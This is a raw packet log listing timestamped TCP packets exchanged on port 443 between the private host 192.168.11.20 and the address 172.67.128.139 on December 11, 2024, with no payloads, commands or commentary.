Dec 11, 2024 12:14:45.878267050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878267050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878298998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.878321886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878338099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.878463030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878463030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.878509045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.880011082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.880038023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.880203009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.880203009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.880251884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.880261898 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.880351067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.880475998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.882044077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.882070065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.882194996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.882239103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.882239103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.882263899 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.882347107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.882399082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.883769035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.883795023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.884006023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.884028912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.884044886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.884044886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.884174109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.885665894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.885822058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.885844946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.885844946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.885890007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.885907888 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.886025906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.887763977 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.887789965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.887989998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.888012886 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.888339043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.889574051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.889600992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.889679909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.889811039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.889828920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.889859915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.890230894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892119884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.892147064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.892265081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892312050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892313004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892313004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892333984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.892359972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.892414093 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.893477917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.893801928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.893829107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.893954992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.893999100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.893999100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.894047976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.894047976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.894061089 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.894097090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.895818949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.895848989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.895967007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.895997047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.896015882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.896015882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.896064997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.896064997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.896114111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.896998882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897691965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.897716999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.897836924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897891045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897938967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897938967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897954941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.897969007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.897969007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900178909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.900208950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.900326967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900353909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.900376081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900376081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900376081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900424004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.900475979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.901973963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.901999950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.902122021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.902122021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.902170897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.902189016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.902218103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.902218103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.902267933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904090881 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904181957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.904207945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.904320002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904366970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904366970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904414892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904428959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.904514074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904515028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904803991 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.904952049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904952049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.904968977 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:45.905003071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.928802013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:45.960220098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.101002932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.101016045 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.101190090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.101237059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.101237059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.101243019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.101285934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.101380110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.102957964 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.102971077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.103151083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.103161097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.103204012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.103204012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.103301048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.105042934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.105057001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.105170965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.105262041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.105271101 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.105312109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.105401039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.106859922 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.106873035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.106992960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.107043028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.107043028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.107050896 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.107089996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.107089996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.107223034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.108783007 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.108794928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.108966112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.108966112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.108977079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.109015942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.109015942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.109160900 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.109941959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.110120058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.110166073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.110171080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.123635054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.123677969 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.123805046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.123823881 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.123853922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.123853922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.123900890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.123999119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.125678062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.125704050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.125817060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.125865936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.125880003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.125911951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.125911951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.125963926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.127487898 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.127520084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.127665043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.127680063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.127711058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.127711058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.127763033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.129065990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.129754066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.129779100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.129882097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.129883051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.129987955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.130004883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.130033016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.131793022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.131824017 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.131953955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.131953955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.131975889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.132102966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.132394075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.133924961 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.133950949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.134054899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.134107113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.134107113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.134154081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.134154081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.134164095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.134205103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.135755062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.135786057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.135976076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.135976076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.135993958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.136023998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.136069059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.137655020 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.137679100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.137806892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.137824059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.137859106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.137859106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.137957096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139560938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.139588118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139864922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.139893055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.141685963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.141716003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.141849041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.141849041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.141870022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.141896963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.141946077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.141946077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.141994953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.143120050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.143340111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.143359900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.143498898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.148773909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.327929020 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.327956915 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.328161001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.328185081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.328207970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.328318119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.329718113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.329746008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.329879999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.329879999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.329924107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.329931974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.329976082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.329976082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.330140114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.331583977 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.331610918 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.331722021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.331769943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.331769943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.331787109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.331819057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.331917048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.332015038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.333604097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.333631039 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.333851099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.333851099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.333867073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.333915949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.333961010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335464001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.335489988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.335633993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335680962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335680962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335696936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.335732937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335782051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.335885048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338080883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.338107109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.338197947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.338272095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338272095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338272095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338296890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.338367939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338417053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.338465929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.339200020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.340753078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.340781927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.340890884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.340890884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.341020107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.341020107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.341032028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.342617035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.342647076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.342708111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.342721939 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.342787981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.342787981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.342890978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.342890978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344605923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.344630957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.344738007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344738007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344786882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344836950 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344852924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.344882965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.344933033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.345973969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.346983910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.347009897 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.347178936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.347178936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.347225904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.347225904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.347225904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.347242117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.347274065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.348823071 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.348854065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.349108934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.349124908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.349159956 CET	49776	443	192.168.11.20	172.67.128.139
